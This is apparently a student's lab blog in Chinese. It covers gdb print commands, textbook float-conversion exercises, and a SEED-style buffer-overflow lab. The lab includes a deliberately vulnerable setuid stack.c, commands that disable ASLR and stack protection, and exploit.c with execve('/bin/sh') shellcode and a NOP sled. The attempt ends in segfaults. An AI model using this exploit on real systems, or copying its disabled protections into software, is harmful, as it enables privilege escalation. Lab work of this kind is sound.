课堂上只有实践3没有完成。
(因为是现在虚拟机上做的缓冲溢出漏洞实验,虚拟机崩了,还没重新安装,所以这两天我用的是实验一老师让用的vmware中的ubuntu)
课上实践第三题
代码
#include <stdio.h>
int main(){
short int v = -5229;
unsigned short uv = (unsigned short) v;
printf("v = %d, uv = %u
", v, uv);
}
刚开始会出现下图情况
没有符号表被读取,请使用“file”命令
往回看时发现我在编译时用的是gcc -o week06035229 week06035229.c
这样生成的二进制可执行文件没有使用-g选项
正确编译为gcc -o -g week06035229 week06035229.c
然后进行 gdb 调试,用p/x v;p /x uv 查看变量的值
-
p/x v代表的意思为 打印当前v变量的十六进制值
-
不仅程序中的变量,寄存器的值也能打印(例如我们在课上测试5中运用到的p $pc)
-
而除了$pc 还有%esp,%edp等寄存器
-
i(info) r(reg)
打印的,除了左边的寄存器名称外,中间是寄存器存的值,右边是这个值对应的内存地址中的值。 -
p$
打印的是上一次打印的值,$$
打印的是上上次打印过的值。print是有计数的。 -
除了
p/x
外,还有p/c``p/f
p/t
p/o
p/d
等
f为浮点,c为字符,t为二进制,o为八进制,d为十进制
书本p97 2.96
else
{
exp -= 127;
frac |= 0x800000;
if (exp > 23)
{
exp -= 23;
frac <<= exp;
}
else if (exp < 23)
{
exp = 23 - exp;
frac >>= exp;
}
if (sign == 1)
i = (~frac) + 1;
else
i = frac;
}
书本2.97
主要是int到float的转化,有几个需要注意的地方:i=0;i为负数的时候。
sign = i >> 31;
if (i == Min) //i为最小负数的时候
{
exp = 158;
frac = 0;
}
else if (i == 0) //i为0的时候
{
exp = 0;
frac = 0;
}
i为负数时,要求其原码
if (sign)
frac = (~i + 1) << 1;
else
frac = i << 1;
exp = 0;
while (!(frac & 0x80000000))
{
exp++;
frac <<= 1;
}
exp = 157 - exp;
last_bit = ((frac >> 8) & 1);
缓冲溢出漏洞实验
搭建32位操作环境
输入安装的编译32位c程序的命令
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
输入命令linux32
,进入32位环境。输入/bin/bash
,使用bash。
为了防止机器随意对地址猜测,需要关闭功能地址空间随机化初始功能
sudo sysctl -w kernel.randomize_va_space=0
用shell(zsh)代替/bin/bash,设置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
在输入以上的内容后,出现以下错误,重新打开终端也依然有该错误。但我没忙着解决这个问题,而是接着做实验
shellcode代码
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
编译产生32位的汇编
gcc -m32 -g shellcode.c -o shellcode
一直出现错误,如下图所示
在“/tmp”目录下保存以下代码为“stack.c”:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
编译该程序,设置SET-UID
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
- –fno-stack-protector 关闭gcc阻止缓冲区溢出的机制
- -z execstack 用于允许执行栈
编译时还是存在错误
在/tmp保存“exploit.c”代码
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
gdb stack
disass main
结果如图:
设置断点并运行,str的地址为0x0ffffd0c8
根据语句strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd058(十六进制)+100(十进制)=0xffffd0c8(十六进制)
修改exploit.c中的x??x??x??x??
,修改为
xc8xd0xffxff
编译exploit.c程序
gcc -m32 -o exploit exploit.c
进行攻击,先攻击程序exploit
,再攻击stack
结果如下:
段错误
于是,我又重新进行一次汇编
发现我在设置断点时将断点位置设错,于是,得到的str地址为0xffffce50
,shellcode的地址为0xffffceb4
再次修改exploit.c文件后,进行攻击,还为段错误
于是我又重新认真的汇编几次,结构都是一样。
我在查看了/tmp文件夹下的文件,发现stack文件标红,而exploit文件显绿
如图:
我想应该是stack的问题,于是重新查看做过的步骤,在编译stack时就有错误,之前/bin/bash也有错误。
后续
第二天,我再打开虚拟机时,出现了该问题
选择GNU GRUB
GNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。GRUB是多启动规范的实现,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。
然后进入了tty1命令行模式
在网上找方法
ctrl+alt+f7
和用命令sudo service lightdm restart
想要返回桌面,都不成功
我认为是之前/bin/bash的问题,但是一直在网上找不到解决的方案